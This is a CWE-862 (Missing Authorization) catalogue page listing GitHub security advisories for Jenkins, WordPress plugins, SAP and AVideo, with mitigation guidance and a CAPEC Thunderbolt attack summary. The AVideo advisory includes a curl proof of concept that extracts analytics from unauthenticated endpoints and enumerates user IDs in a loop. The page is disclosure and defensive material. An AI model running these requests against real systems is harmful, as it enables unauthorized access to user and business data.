CWE-862
Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
15174 vulnerabilities reference this CWE, most recent first.
GHSA-J33R-CGM6-PV48
Vulnerability from github – Published: 2022-07-01 00:01 – Updated: 2022-12-12 19:53Missing permission checks in Jenkins Recipe Plugin 1.2 and earlier allow attackers with Overall/Read permission to send an HTTP request to an attacker-specified URL and parse the response as XML.
Additionally, the plugin allows users to export the full configuration of jobs as part of a recipe, granting access to job configuration XML data to every user with Item/Read permission. The encrypted values of secrets stored in the job configuration are not redacted, as they would be by the config.xml API for users without Item/Configure permission.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:recipe"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-34794"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-12T20:38:27Z",
"nvd_published_at": "2022-06-30T18:15:00Z",
"severity": "HIGH"
},
"details": "Missing permission checks in Jenkins Recipe Plugin 1.2 and earlier allow attackers with Overall/Read permission to send an HTTP request to an attacker-specified URL and parse the response as XML.\n\nAdditionally, the plugin allows users to export the full configuration of jobs as part of a recipe, granting access to job configuration XML data to every user with Item/Read permission. The encrypted values of secrets stored in the job configuration are not redacted, as they would be by the config.xml API for users without Item/Configure permission.",
"id": "GHSA-j33r-cgm6-pv48",
"modified": "2022-12-12T19:53:23Z",
"published": "2022-07-01T00:01:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34794"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/recipe-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2022-06-30/#SECURITY-2000"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Missing Authorization in Jenkins Recipe Plugin"
}
GHSA-J354-F8VH-J5JV
Vulnerability from github – Published: 2025-12-16 09:31 – Updated: 2026-01-20 15:32Missing Authorization vulnerability in Auctollo Google XML Sitemaps google-sitemap-generator allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Google XML Sitemaps: from n/a through <= 4.1.21.
{
"affected": [],
"aliases": [
"CVE-2025-64632"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-16T09:15:55Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Auctollo Google XML Sitemaps google-sitemap-generator allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Google XML Sitemaps: from n/a through \u003c= 4.1.21.",
"id": "GHSA-j354-f8vh-j5jv",
"modified": "2026-01-20T15:32:14Z",
"published": "2025-12-16T09:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64632"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/google-sitemap-generator/vulnerability/wordpress-google-xml-sitemaps-plugin-4-1-21-broken-access-control-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/google-sitemap-generator/vulnerability/wordpress-google-xml-sitemaps-plugin-4-1-21-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J36M-74G2-7M95
Vulnerability from github – Published: 2026-03-25 19:52 – Updated: 2026-03-25 19:52Summary
The plugin/AD_Server/reports.json.php endpoint performs no authentication or authorization checks, allowing any unauthenticated attacker to extract ad campaign analytics data including video titles, user channel names, user IDs, ad campaign names, and impression/click counts. The HTML counterpart (reports.php) and CSV export (getCSV.php) both correctly enforce User::isAdmin(), but the JSON API was left unprotected.
Details
The vulnerable file plugin/AD_Server/reports.json.php loads the application configuration at line 5 but never checks whether the request comes from an authenticated admin user:
// plugin/AD_Server/reports.json.php:1-10
<?php
header('Content-Type: application/json');
require_once '../../videos/configuration.php';
// Fetch request parameters with safety checks
$startDate = !empty($_REQUEST['startDate']) ? $_REQUEST['startDate'] . ' 00:00:00' : null;
$endDate = !empty($_REQUEST['endDate']) ? $_REQUEST['endDate'] . ' 23:59:59' : null;
$reportType = isset($_REQUEST['reportType']) ? $_REQUEST['reportType'] : null;
Compare with the HTML page at plugin/AD_Server/reports.php:6-8, which correctly gates access:
if (!User::isAdmin()) {
forbiddenPage(__("You cannot do this"));
exit;
}
And plugin/AD_Server/getCSV.php:4-6:
if (!User::isAdmin()) {
forbiddenPage('You must be Admin');
}
The JSON endpoint exposes five report types, each querying joined tables that include user and video metadata. For example, getAdsByVideoAndPeriod() at VastCampaignsLogs.php:239 executes:
SELECT v.title as video_title, u.channelName, v.users_id, vcl.videos_id,
COUNT(vcl.id) as total_ads, vc.name as campaign_name
FROM vast_campaigns_logs vcl
LEFT JOIN videos v ON v.id = vcl.videos_id
LEFT JOIN users u ON u.id = v.users_id
LEFT JOIN vast_campaigns_has_videos vchv ON vchv.id = vcl.vast_campaigns_has_videos_id
LEFT JOIN vast_campaigns vc ON vc.id = vchv.vast_campaigns_id
This returns video titles, user channel names, user IDs, and campaign names directly to the unauthenticated caller.
Additionally, plugin/AD_Server/getData.json.php also lacks authentication and exposes aggregate ad view counts via VastCampaignsLogs::getViews(), though with lower impact.
PoC
# 1. Get all ad performance by video — returns video titles, user channel names,
# user IDs, campaign names, and impression counts (no auth needed)
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsByVideo'
# Expected: JSON array with objects containing video_title, channelName,
# users_id, videos_id, total_ads, campaign_name
# 2. Get per-user ad analytics for a specific user
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser&users_id=1'
# Expected: JSON array with video_title, videos_id, total_ads, campaign_name, users_id
# 3. Get ad type breakdown with campaign names
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adTypes'
# Expected: JSON array with type, total_ads, campaign_name
# 4. Get ads for a specific video
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsForSingleVideo&videos_id=1'
# Expected: JSON array with type, total_ads, campaign_name
# 5. Enumerate users by iterating user IDs
for i in $(seq 1 20); do
curl -s "https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser&users_id=$i"
done
# 6. Aggregate view counts (lower impact, also unauthenticated)
curl -s 'https://target/plugin/AD_Server/getData.json.php'
# Expected: {"error":false,"msg":"","views":12345}
Impact
An unauthenticated attacker can:
- Enumerate platform users: Extract user IDs and channel names by iterating
users_idvalues via theadsByUserreport type - Extract ad campaign intelligence: Obtain campaign names, types (own vs third-party), and performance metrics (impression and click counts per video/user)
- Map video-to-user relationships: Determine which user owns which video and their ad revenue performance
- Competitive intelligence: On multi-tenant instances, one content creator could extract another's ad performance data
The data exposed is business-sensitive analytics that the application explicitly restricts to administrators in both the HTML interface and CSV export, but the JSON API bypass makes all of it publicly accessible.
Recommended Fix
Add User::isAdmin() checks to both reports.json.php and getData.json.php, matching the pattern used by reports.php and getCSV.php:
plugin/AD_Server/reports.json.php — add after line 5:
<?php
header('Content-Type: application/json');
require_once '../../videos/configuration.php';
if (!User::isAdmin()) {
header('HTTP/1.1 403 Forbidden');
die(json_encode(['error' => 'You must be an admin to access this resource']));
}
plugin/AD_Server/getData.json.php — add after line 4:
header('Content-Type: application/json');
require_once '../../videos/configuration.php';
if (!User::isAdmin()) {
header('HTTP/1.1 403 Forbidden');
die(json_encode(['error' => true, 'msg' => 'You must be an admin to access this resource']));
}
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33685"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T19:52:42Z",
"nvd_published_at": "2026-03-23T19:16:41Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `plugin/AD_Server/reports.json.php` endpoint performs no authentication or authorization checks, allowing any unauthenticated attacker to extract ad campaign analytics data including video titles, user channel names, user IDs, ad campaign names, and impression/click counts. The HTML counterpart (`reports.php`) and CSV export (`getCSV.php`) both correctly enforce `User::isAdmin()`, but the JSON API was left unprotected.\n\n## Details\n\nThe vulnerable file `plugin/AD_Server/reports.json.php` loads the application configuration at line 5 but never checks whether the request comes from an authenticated admin user:\n\n```php\n// plugin/AD_Server/reports.json.php:1-10\n\u003c?php\nheader(\u0027Content-Type: application/json\u0027);\nrequire_once \u0027../../videos/configuration.php\u0027;\n\n// Fetch request parameters with safety checks\n$startDate = !empty($_REQUEST[\u0027startDate\u0027]) ? $_REQUEST[\u0027startDate\u0027] . \u0027 00:00:00\u0027 : null;\n$endDate = !empty($_REQUEST[\u0027endDate\u0027]) ? $_REQUEST[\u0027endDate\u0027] . \u0027 23:59:59\u0027 : null;\n$reportType = isset($_REQUEST[\u0027reportType\u0027]) ? $_REQUEST[\u0027reportType\u0027] : null;\n```\n\nCompare with the HTML page at `plugin/AD_Server/reports.php:6-8`, which correctly gates access:\n\n```php\nif (!User::isAdmin()) {\n forbiddenPage(__(\"You cannot do this\"));\n exit;\n}\n```\n\nAnd `plugin/AD_Server/getCSV.php:4-6`:\n\n```php\nif (!User::isAdmin()) {\n forbiddenPage(\u0027You must be Admin\u0027);\n}\n```\n\nThe JSON endpoint exposes five report types, each querying joined tables that include user and video metadata. For example, `getAdsByVideoAndPeriod()` at `VastCampaignsLogs.php:239` executes:\n\n```sql\nSELECT v.title as video_title, u.channelName, v.users_id, vcl.videos_id,\n COUNT(vcl.id) as total_ads, vc.name as campaign_name\nFROM vast_campaigns_logs vcl\nLEFT JOIN videos v ON v.id = vcl.videos_id\nLEFT JOIN users u ON u.id = v.users_id\nLEFT JOIN vast_campaigns_has_videos vchv ON vchv.id = vcl.vast_campaigns_has_videos_id\nLEFT JOIN vast_campaigns vc ON vc.id = vchv.vast_campaigns_id\n```\n\nThis returns video titles, user channel names, user IDs, and campaign names directly to the unauthenticated caller.\n\nAdditionally, `plugin/AD_Server/getData.json.php` also lacks authentication and exposes aggregate ad view counts via `VastCampaignsLogs::getViews()`, though with lower impact.\n\n## PoC\n\n```bash\n# 1. Get all ad performance by video \u2014 returns video titles, user channel names,\n# user IDs, campaign names, and impression counts (no auth needed)\ncurl -s \u0027https://target/plugin/AD_Server/reports.json.php?reportType=adsByVideo\u0027\n\n# Expected: JSON array with objects containing video_title, channelName,\n# users_id, videos_id, total_ads, campaign_name\n\n# 2. Get per-user ad analytics for a specific user\ncurl -s \u0027https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser\u0026users_id=1\u0027\n\n# Expected: JSON array with video_title, videos_id, total_ads, campaign_name, users_id\n\n# 3. Get ad type breakdown with campaign names\ncurl -s \u0027https://target/plugin/AD_Server/reports.json.php?reportType=adTypes\u0027\n\n# Expected: JSON array with type, total_ads, campaign_name\n\n# 4. Get ads for a specific video\ncurl -s \u0027https://target/plugin/AD_Server/reports.json.php?reportType=adsForSingleVideo\u0026videos_id=1\u0027\n\n# Expected: JSON array with type, total_ads, campaign_name\n\n# 5. Enumerate users by iterating user IDs\nfor i in $(seq 1 20); do\n curl -s \"https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser\u0026users_id=$i\"\ndone\n\n# 6. Aggregate view counts (lower impact, also unauthenticated)\ncurl -s \u0027https://target/plugin/AD_Server/getData.json.php\u0027\n\n# Expected: {\"error\":false,\"msg\":\"\",\"views\":12345}\n```\n\n## Impact\n\nAn unauthenticated attacker can:\n\n- **Enumerate platform users**: Extract user IDs and channel names by iterating `users_id` values via the `adsByUser` report type\n- **Extract ad campaign intelligence**: Obtain campaign names, types (own vs third-party), and performance metrics (impression and click counts per video/user)\n- **Map video-to-user relationships**: Determine which user owns which video and their ad revenue performance\n- **Competitive intelligence**: On multi-tenant instances, one content creator could extract another\u0027s ad performance data\n\nThe data exposed is business-sensitive analytics that the application explicitly restricts to administrators in both the HTML interface and CSV export, but the JSON API bypass makes all of it publicly accessible.\n\n## Recommended Fix\n\nAdd `User::isAdmin()` checks to both `reports.json.php` and `getData.json.php`, matching the pattern used by `reports.php` and `getCSV.php`:\n\n**plugin/AD_Server/reports.json.php** \u2014 add after line 5:\n```php\n\u003c?php\nheader(\u0027Content-Type: application/json\u0027);\nrequire_once \u0027../../videos/configuration.php\u0027;\n\nif (!User::isAdmin()) {\n header(\u0027HTTP/1.1 403 Forbidden\u0027);\n die(json_encode([\u0027error\u0027 =\u003e \u0027You must be an admin to access this resource\u0027]));\n}\n```\n\n**plugin/AD_Server/getData.json.php** \u2014 add after line 4:\n```php\nheader(\u0027Content-Type: application/json\u0027);\nrequire_once \u0027../../videos/configuration.php\u0027;\n\nif (!User::isAdmin()) {\n header(\u0027HTTP/1.1 403 Forbidden\u0027);\n die(json_encode([\u0027error\u0027 =\u003e true, \u0027msg\u0027 =\u003e \u0027You must be an admin to access this resource\u0027]));\n}\n```",
"id": "GHSA-j36m-74g2-7m95",
"modified": "2026-03-25T19:52:42Z",
"published": "2026-03-25T19:52:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-j36m-74g2-7m95"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33685"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/daca4ffb1ce19643eecaa044362c41ac2ce45dde"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo Allows Unauthenticated Access to AD_Server reports.json.php that Exposes Ad Campaign Analytics and User Data"
}
GHSA-J386-RXRM-789F
Vulnerability from github – Published: 2025-12-18 09:30 – Updated: 2026-01-20 15:32Missing Authorization vulnerability in WPXPO PostX ultimate-post allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects PostX: from n/a through <= 4.1.36.
{
"affected": [],
"aliases": [
"CVE-2025-54751"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-18T08:15:56Z",
"severity": "HIGH"
},
"details": "Missing Authorization vulnerability in WPXPO PostX ultimate-post allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects PostX: from n/a through \u003c= 4.1.36.",
"id": "GHSA-j386-rxrm-789f",
"modified": "2026-01-20T15:32:21Z",
"published": "2025-12-18T09:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54751"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/ultimate-post/vulnerability/wordpress-postx-plugin-4-1-36-broken-access-control-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/ultimate-post/vulnerability/wordpress-postx-plugin-4-1-36-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J38Q-54R2-WXJM
Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-05-24 17:34SAP Solution Manager (JAVA stack), version - 7.20, allows an unauthenticated attacker to compromise the system because of missing authorization checks in the Upgrade Diagnostics Agent Connection Service, this has an impact to the integrity and availability of the service.
{
"affected": [],
"aliases": [
"CVE-2020-26823"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-10T17:15:00Z",
"severity": "CRITICAL"
},
"details": "SAP Solution Manager (JAVA stack), version - 7.20, allows an unauthenticated attacker to compromise the system because of missing authorization checks in the Upgrade Diagnostics Agent Connection Service, this has an impact to the integrity and availability of the service.",
"id": "GHSA-j38q-54r2-wxjm",
"modified": "2022-05-24T17:34:00Z",
"published": "2022-05-24T17:34:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26823"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/2985866"
},
{
"type": "WEB",
"url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=562725571"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-J392-F58P-C38Q
Vulnerability from github – Published: 2026-01-28 21:31 – Updated: 2026-04-01 18:36Missing Authorization vulnerability in ThemeMove Makeaholic allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Makeaholic: from n/a through 1.8.5.
{
"affected": [],
"aliases": [
"CVE-2025-58210"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-03T07:15:33Z",
"severity": "CRITICAL"
},
"details": "Missing Authorization vulnerability in ThemeMove Makeaholic allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Makeaholic: from n/a through 1.8.5.",
"id": "GHSA-j392-f58p-c38q",
"modified": "2026-04-01T18:36:01Z",
"published": "2026-01-28T21:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58210"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/theme/makeaholic/vulnerability/wordpress-makeaholic-theme-1-8-5-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J39V-XVQW-5Q63
Vulnerability from github – Published: 2024-07-24 06:31 – Updated: 2024-07-29 21:30The WP EasyPay – Square for WordPress plugin for WordPress is vulnerable to unauthorized modification of datadue to a missing capability check on the wpep_square_disconnect() function in all versions up to, and including, 4.2.3. This makes it possible for unauthenticated attackers to disconnect square.
{
"affected": [],
"aliases": [
"CVE-2024-5861"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-24T04:15:04Z",
"severity": "MODERATE"
},
"details": "The WP EasyPay \u2013 Square for WordPress plugin for WordPress is vulnerable to unauthorized modification of datadue to a missing capability check on the wpep_square_disconnect() function in all versions up to, and including, 4.2.3. This makes it possible for unauthenticated attackers to disconnect square.",
"id": "GHSA-j39v-xvqw-5q63",
"modified": "2024-07-29T21:30:52Z",
"published": "2024-07-24T06:31:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5861"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-easy-pay/trunk/modules/payments/square-authorization.php#L199"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3106655%40wp-easy-pay\u0026new=3106655%40wp-easy-pay\u0026sfp_email=\u0026sfph_mail=#file1"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3122946%40wp-easy-pay\u0026new=3122946%40wp-easy-pay\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/446d458e-8b42-434e-a190-0af37a7d3afb?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J3CJ-45V4-MX53
Vulnerability from github – Published: 2025-12-30 12:30 – Updated: 2026-01-20 15:32Missing Authorization vulnerability in Stephen Harris Event Organiser event-organiser allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Event Organiser: from n/a through <= 3.12.8.
{
"affected": [],
"aliases": [
"CVE-2025-69012"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-30T11:15:59Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Stephen Harris Event Organiser event-organiser allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Event Organiser: from n/a through \u003c= 3.12.8.",
"id": "GHSA-j3cj-45v4-mx53",
"modified": "2026-01-20T15:32:45Z",
"published": "2025-12-30T12:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69012"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/event-organiser/vulnerability/wordpress-event-organiser-plugin-3-12-8-broken-access-control-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/event-organiser/vulnerability/wordpress-event-organiser-plugin-3-12-8-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J3CQ-H6VH-GX7F
Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-12-16 20:30The agent-to-controller security subsystem limits which files on the Jenkins controller can be accessed by agent processes.
Multiple vulnerabilities in the file path filtering implementation of Jenkins 2.318 and earlier, LTS 2.303.2 and earlier allow agent processes to read and write arbitrary files on the Jenkins controller file system, and obtain some information about Jenkins controller file systems.
SECURITY-2485 / CVE-2021-21689: FilePath#unzip and FilePath#untar were not subject to any access control.
We expect that most of these vulnerabilities have been present since SECURITY-144 was addressed in the 2014-10-30 security advisory.
Jenkins 2.319, LTS 2.303.3 addresses these security vulnerabilities.
SECURITY-2485 / CVE-2021-21689: FilePath#unzip and FilePath#untar are now subject to access control.
As some common operations are now newly subject to access control, it is expected that plugins sending commands from agents to the controller may start failing. Additionally, the newly introduced path canonicalization means that instances using a custom builds directory (Java system property jenkins.model.Jenkins.buildsDir) or partitioning JENKINS_HOME using symbolic links may fail access control checks. See the documentation for how to customize the configuration in case of problems.
If you are unable to immediately upgrade to Jenkins 2.319, LTS 2.303.3, you can install the Remoting Security Workaround Plugin. It will prevent all agent-to-controller file access using FilePath APIs. Because it is more restrictive than Jenkins 2.319, LTS 2.303.3, more plugins are incompatible with it. Make sure to read the plugin documentation before installing it.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.303.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.318"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.304"
},
{
"fixed": "2.319"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-21689"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-23T06:48:33Z",
"nvd_published_at": "2021-11-04T17:15:00Z",
"severity": "CRITICAL"
},
"details": "The agent-to-controller security subsystem limits which files on the Jenkins controller can be accessed by agent processes.\n\nMultiple vulnerabilities in the file path filtering implementation of Jenkins 2.318 and earlier, LTS 2.303.2 and earlier allow agent processes to read and write arbitrary files on the Jenkins controller file system, and obtain some information about Jenkins controller file systems.\n\nSECURITY-2485 / CVE-2021-21689: `FilePath#unzip` and `FilePath#untar` were not subject to any access control.\n\nWe expect that most of these vulnerabilities have been present since [SECURITY-144 was addressed in the 2014-10-30 security advisory](https://www.jenkins.io/security/advisory/2014-10-30/).\n\nJenkins 2.319, LTS 2.303.3 addresses these security vulnerabilities.\n\nSECURITY-2485 / CVE-2021-21689: `FilePath#unzip` and `FilePath#untar` are now subject to access control.\n\nAs some common operations are now newly subject to access control, it is expected that plugins sending commands from agents to the controller may start failing. Additionally, the newly introduced path canonicalization means that instances using a custom builds directory ([Java system property jenkins.model.Jenkins.buildsDir](https://www.jenkins.io/doc/book/managing/system-properties/#jenkins-model-jenkins-buildsdir)) or partitioning `JENKINS_HOME` using symbolic links may fail access control checks. See [the documentation](https://www.jenkins.io/doc/book/security/controller-isolation/agent-to-controller/#file-access-rules) for how to customize the configuration in case of problems.\n\nIf you are unable to immediately upgrade to Jenkins 2.319, LTS 2.303.3, you can install the [Remoting Security Workaround Plugin](https://www.jenkins.io/redirect/remoting-security-workaround/). It will prevent all agent-to-controller file access using `FilePath` APIs. Because it is more restrictive than Jenkins 2.319, LTS 2.303.3, more plugins are incompatible with it. Make sure to read the plugin documentation before installing it.",
"id": "GHSA-j3cq-h6vh-gx7f",
"modified": "2022-12-16T20:30:17Z",
"published": "2022-05-24T19:19:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21689"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/104c751d907919dd53f5090f84d53c671a66457b"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/5a245e42979abe4a26d41727c839521e36cedd74"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/63cde2daadc705edf086f2213b48c8c547f98358"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/jenkins"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2021-11-04/#SECURITY-2455"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Multiple vulnerabilities allow bypassing path filtering of agent-to-controller access control in Jenkins"
}
GHSA-J3F6-56PP-MF3X
Vulnerability from github – Published: 2025-12-31 15:30 – Updated: 2026-04-01 18:36Missing Authorization vulnerability in 101gen Wawp allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Wawp: from n/a through 4.0.5.
{
"affected": [],
"aliases": [
"CVE-2025-62141"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-31T15:15:53Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in 101gen Wawp allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Wawp: from n/a through 4.0.5.",
"id": "GHSA-j3f6-56pp-mf3x",
"modified": "2026-04-01T18:36:27Z",
"published": "2025-12-31T15:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62141"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/automation-web-platform/vulnerability/wordpress-wawp-plugin-4-0-5-broken-access-control-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/wordpress/plugin/automation-web-platform/vulnerability/wordpress-wawp-plugin-4-0-5-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.